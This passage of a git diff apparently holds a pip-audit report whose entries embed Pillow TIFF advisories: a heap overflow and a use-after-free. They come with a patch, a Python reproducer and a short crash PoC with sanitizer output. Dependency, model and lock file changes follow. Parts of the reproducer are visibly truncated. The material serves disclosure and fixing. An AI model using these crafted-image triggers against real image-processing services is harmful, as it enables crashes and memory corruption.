while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { \u2026 + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError(\"_tiffWriteProc\", \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, \u2026); + return 0; } ``` `_tiffSeekProc` is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, `eof` can no longer exceed `size`, so the read-out in `ImagingLibTiffEncode` (`:1067`, `:1073`) stays within the block. The patch also adds `test_save_bytesio_seek_past_end` to `Tests/test_file_libtiff.py`, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a `BytesIO` and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass. ## The patch Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..d2a926a62 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase): save_bytesio(\"packbits\") save_bytesio(\"tiff_lzw\") + def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None: + # When writing the directory, libtiff seeks past the end of the data + # written so far, and then writes the tag values there. Check that the + # in-memory write buffer grows to fit, and that the bytes that are + # skipped over are zero, as they would be when writing to a file. + + # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip + # plus the header are exactly 64 KiB, the initial size of the buffer + im = Image.new(\"L\", (7, 8191)) + im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)]) + kwargs = {\"compression\": \"packbits\", \"description\": \"D\" * 65535} + + outfile = tmp_path / \"temp.tif\" + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format=\"tiff\", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + + # odd-length tag values, so that libtiff pads between them. Large enough + # that the buffer has to be reallocated + im = hopper().resize((300, 300)) + kwargs = { + \"compression\": \"tiff_lzw\", + \"description\": \"abcdef\", + \"software\": \"xyz0\", + \"tiffinfo\": {315: \"artist\", 33432: \"copyright!\"}, + } + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format=\"tiff\", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + def test_save_ycbcr(self, tmp_path: Path) -> None: im = hopper(\"YCbCr\") outfile = tmp_path / \"temp.tif\" diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..dd9945493 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { TRACE((\"_tiffWriteProc: %d \\n\", (int)size)); dump_state(state); + // libtiff may have seeked past the end of the buffer, e.g. when writing the + // directory, so the required size is based on the current location. to_write = MIN(size, state->size - (tsize_t)state->loc); if (state->flrealloc && size > to_write) { tdata_t new_data; tsize_t newsize = state->size; - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { if (newsize > INT_MAX - 64 * 1024) { return 0; } @@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { // fail out return 0; } + // zero the new space, so that any bytes libtiff seeks over without + // writing are 0 in the output, as they would be in a file + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError( + \"_tiffWriteProc\", + \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, + state->loc, + (toff_t)state->size + ); + return 0; } TRACE((\"to_write: %d\\n\", (int)to_write)); ``` ## The reproducer
Reproducer \u2014 repro, 5,434 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\" Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink (_tiffWriteProc, src/libImaging/TiffDecode.c). im.save(, \"TIFF\") with any compression goes through libtiff writing into Pillow's memory sink. When libtiff writes the directory it seeks *past* the end of the data written so far and writes tag values there: 1. _tiffWriteProc grows the buffer to `size + write_len` instead of `loc + write_len`, so that write can run off the end of the allocation. 2. The bytes libtiff skipped over are never written, so whatever the heap held there ends up in the output file. The same saves to a file path are fine (the kernel zero-fills skipped bytes), which is the control for both parts. \"\"\" import os import resource import struct import subprocess import sys import tempfile resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) # the overflow aborts; no core file os.chdir(tempfile.mkdtemp()) def run(code, **env): \"\"\"Run a Python snippet against the installed Pillow in a fresh process.\"\"\" return subprocess.run([sys.executable, \"-c\", code], env={**os.environ, **env}, capture_output=True, text=True) def setup_env(): \"\"\"Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription. Sizes are chosen so that, when Pillow re-encodes it: - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes, i.e. the data ends exactly at the sink's initial 64 KiB buffer; - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes and goes at 65536 + 126 (the 10-entry IFD sits in between). The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198): the last 126 bytes of the description land past the end of the heap block. \"\"\" w, h = 7, 8191 # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes strip = b\"\".join(b\"\\x06\" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h)) desc = b\"D\" * 65535 + b\"\\x00\" strip_off, desc_off = 8, 8 + len(strip) ifd_off = desc_off + len(desc) entries = [ (256, 4, 1, w), # ImageWidth (257, 4, 1, h), # ImageLength (258, 3, 1, 8), # BitsPerSample (259, 3, 1, 32773), # Compression = PackBits (inherited by save()) (262, 3, 1, 1), # PhotometricInterpretation = BlackIsZero (270, 2, len(desc), desc_off), # ImageDescription (carried into save() via tag_v2) (273, 4, 1, strip_off), # StripOffsets (277, 3, 1, 1), # SamplesPerPixel (278, 4, 1, h), # RowsPerStrip (279, 4, 1, len(strip)), # StripByteCounts ] ifd = struct.pack(\" heap overflow crashed the process: {overflow}\\n\") # --------------------------------------------------------------------------- # Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill # fresh allocations with 0x55, so never-written bytes become visible. # --------------------------------------------------------------------------- STALE = r''' import io, random from PIL import Image random.seed(1) im = Image.new(\"RGB\", (300, 300)) # noise -> ~360 KB LZW, so the sink must realloc() im.putdata([tuple(random.randrange(256) for _ in \"rgb\") for _ in range(300 * 300)]) # odd-length ASCII tags: libtiff skips one pad byte after each kw = dict(compression=\"tiff_lzw\", description=\"abcdef\", software=\"xyz0\", tiffinfo={315: \"artist\", 33432: \"copyright!\", 306: \"2024:01:01 00:00:00\"}) im.save(\"ref.tif\", \"TIFF\", **kw) buf = io.BytesIO() im.save(buf, \"TIFF\", **kw) a, b = open(\"ref.tif\", \"rb\").read(), buf.getvalue() for i in (i for i in range(len(a)) if a[i] != b[i]): print(f\" offset {i}: file 0x{a[i]:02x} BytesIO 0x{b[i]:02x}\") ''' stale = run(STALE, MALLOC_PERTURB_=\"170\").stdout print(\"same image, same options, saved to a file path vs. to a BytesIO:\") print(stale or \" outputs identical\") leak = \"BytesIO 0x55\" in stale print(f\"-> BytesIO output contains never-written heap bytes: {leak}\\n\") print(\"BUG\" if overflow or leak else \"OK\") ```
---"}, {"id": "CVE-2026-112396", "fix_versions": ["13.0.0"], "aliases": ["GHSA-4rr5-89j8-mwwm"], "description": "### Summary Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution. ### Details The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`): - `src/libImaging/TiffDecode.c:1041-1046` Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set: - `src/encode.c:99-101` - `src/libImaging/TiffDecode.c:955` `TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`: - `src/libImaging/TiffDecode.c:103-115` The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write. ### PoC ```python import io from PIL import Image # In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer # data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the # TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer. im = Image.new(\"L\", (64, 64)) buf = io.BytesIO() im.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3}) # 317 = Predictor ``` Run it: ``` $ python 01_poc.py PredictorSetup: Floating point \"Predictor\" not supported with 1 data format. OSError: encoder error -2 when writing image file Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory. Under AddressSanitizer (build with `-fsanitize=address`), relevant frames: ``` ==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804 WRITE of size 4 at 0x7ef737b48804 thread T0 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #3 TIFFFlush libtiff.so.6 #5 TIFFClose libtiff.so.6 #6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955 #7 _dealloc src/encode.c:100 freed by thread T0 here: #1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045 #2 _encode src/encode.c:139 previously allocated by thread T0 here: #1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863 #2 PyImaging_LibTiffEncoderNew src/encode.c:757 SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc ``` The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`. ### Impact Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution."}]}, {"name": "pip", "version": "26.2.1", "vulns": []}, {"name": "pip-api", "version": "0.0.35", "vulns": []}, {"name": "pip-audit", "version": "2.10.1", "vulns": []}, {"name": "pip-requirements-parser", "version": "32.0.1", "vulns": []}, {"name": "platformdirs", "version": "4.11.8", "vulns": []}, {"name": "plotly", "version": "6.9.0", "vulns": []}, {"name": "pluggy", "version": "1.6.0", "vulns": []}, {"name": "protobuf", "version": "7.36.0", "vulns": []}, {"name": "py-serializable", "version": "2.1.0", "vulns": []}, {"name": "pyarrow", "version": "25.0.1", "vulns": []}, {"name": "pydantic", "version": "2.13.4", "vulns": []}, {"name": "pydantic-core", "version": "2.46.4", "vulns": []}, {"name": "pydeck", "version": "0.9.3", "vulns": []}, {"name": "pygments", "version": "2.21.0", "vulns": []}, {"name": "pyod", "version": "3.6.5", "vulns": []}, {"name": "pyparsing", "version": "3.3.2", "vulns": []}, {"name": "pytest", "version": "9.1.1", "vulns": []}, {"name": "python-dateutil", "version": "2.9.0.post0", "vulns": []}, {"name": "python-dotenv", "version": "1.2.3", "vulns": []}, {"name": "python-multipart", "version": "0.0.32", "vulns": []}, {"name": "referencing", "version": "0.37.0", "vulns": []}, {"name": "rekakarbon-ml", "skip_reason": "distribution marked as editable"}, {"name": "requests", "version": "2.34.2", "vulns": []}, {"name": "rich", "version": "15.0.0", "vulns": []}, {"name": "rpds-py", "version": "2026.6.3", "vulns": []}, {"name": "ruff", "version": "0.16.4", "vulns": []}, {"name": "scikit-learn", "version": "1.9.0", "vulns": []}, {"name": "scipy", "version": "1.18.1", "vulns": []}, {"name": "seaborn", "version": "0.13.2", "vulns": []}, {"name": "setuptools", "version": "84.0.0", "vulns": []}, {"name": "shap", "version": "0.52.0", "vulns": []}, {"name": "six", "version": "1.17.0", "vulns": []}, {"name": "skl2onnx", "version": "1.20.0", "vulns": []}, {"name": "slicer", "version": "0.0.8", "vulns": []}, {"name": "sortedcontainers", "version": "2.4.0", "vulns": []}, {"name": "starlette", "version": "1.6.0", "vulns": []}, {"name": "streamlit", "version": "1.62.0", "vulns": []}, {"name": "sympy", "version": "1.14.0", "vulns": []}, {"name": "threadpoolctl", "version": "3.6.0", "vulns": []}, {"name": "toml", "version": "0.10.2", "vulns": []}, {"name": "tomli", "version": "2.4.1", "vulns": []}, {"name": "tomli-w", "version": "1.2.0", "vulns": []}, {"name": "torch", "version": "2.14.0", "vulns": []}, {"name": "tqdm", "version": "4.70.0", "vulns": []}, {"name": "triton", "version": "3.8.0", "vulns": []}, {"name": "types-openpyxl", "version": "3.1.5.20260807", "vulns": []}, {"name": "typing-extensions", "version": "4.16.0", "vulns": []}, {"name": "typing-inspection", "version": "0.4.4", "vulns": []}, {"name": "urllib3", "version": "2.8.0", "vulns": []}, {"name": "uvicorn", "version": "0.52.4", "vulns": []}, {"name": "watchdog", "version": "6.0.0", "vulns": []}, {"name": "websockets", "version": "16.1.1", "vulns": []}], "fixes": []} diff --git a/ml/models/anomaly_pipeline.onnx b/ml/models/anomaly_pipeline.onnx index 8093ce70a16976c92ae380689610c5d57087abaa..18b08c008692e1fd04a18f1a4872fb7808da4591 100644 GIT binary patch delta 92 zcmezSPyg>f{e~9C7N!>F7M2#)7Pc1l7LFFq7OpMa^?w!2(o#%J(o)SW4K2(}l8h}Z wk}NDt49${LQ_YN$jV#i(&;QGPl2Md}i$Q?jiI0mbF;g!;FRwx`H%EXO0N64d;s5{u delta 92 zcmezSPyg>f{e~9C7N!>F7M2#)7Pc1l7LFFq7OpMa^?wyiEt4z^%`H>RlP%0llG98Q vlM~I2fuvztVsf%UqWSjuf4NUGit=%BC1&d7=jB!C<>m-5JF##v2=D^{0EHce diff --git a/ml/models/model_metadata.json b/ml/models/model_metadata.json index 55f3881..b4427c6 100644 --- a/ml/models/model_metadata.json +++ b/ml/models/model_metadata.json @@ -1,7 +1,7 @@ { "model_name": "RekaKarbon Carbon Anomaly Detector", "version": "1.0.0", - "release_timestamp": "2026-10-06T16:57:59.059030+00:00", + "release_timestamp": "2026-10-22T02:14:54.786326+00:00", "framework": "Scikit-Learn (IsolationForest + RobustScaler) & ONNX Runtime", "target_opset": { "": 15, diff --git a/ml/poetry.lock b/ml/poetry.lock index d6ed32f..5a9a58b 100644 --- a/ml/poetry.lock +++ b/ml/poetry.lock @@ -189,14 +189,14 @@ redis = ["redis (>=2.10.5)"] [[package]] name = "certifi" -version = "2026.7.22" +version = "2026.10.19" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.7" groups = ["main", "dev"] files = [ - {file = "certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775"}, - {file = "certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55"}, + {file = "certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b"}, + {file = "certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae"}, ] [[package]] diff --git a/pnpm-audit-report.txt b/pnpm-audit-report.txt new file mode 100644 index 0000000..f13638c --- /dev/null +++ b/pnpm-audit-report.txt @@ -0,0 +1 @@ +No new vulnerabilities were ignored diff --git a/pnpm-audit.json b/pnpm-audit.json new file mode 100644 index 0000000..f13638c --- /dev/null +++ b/pnpm-audit.json @@ -0,0 +1 @@ +No new vulnerabilities were ignored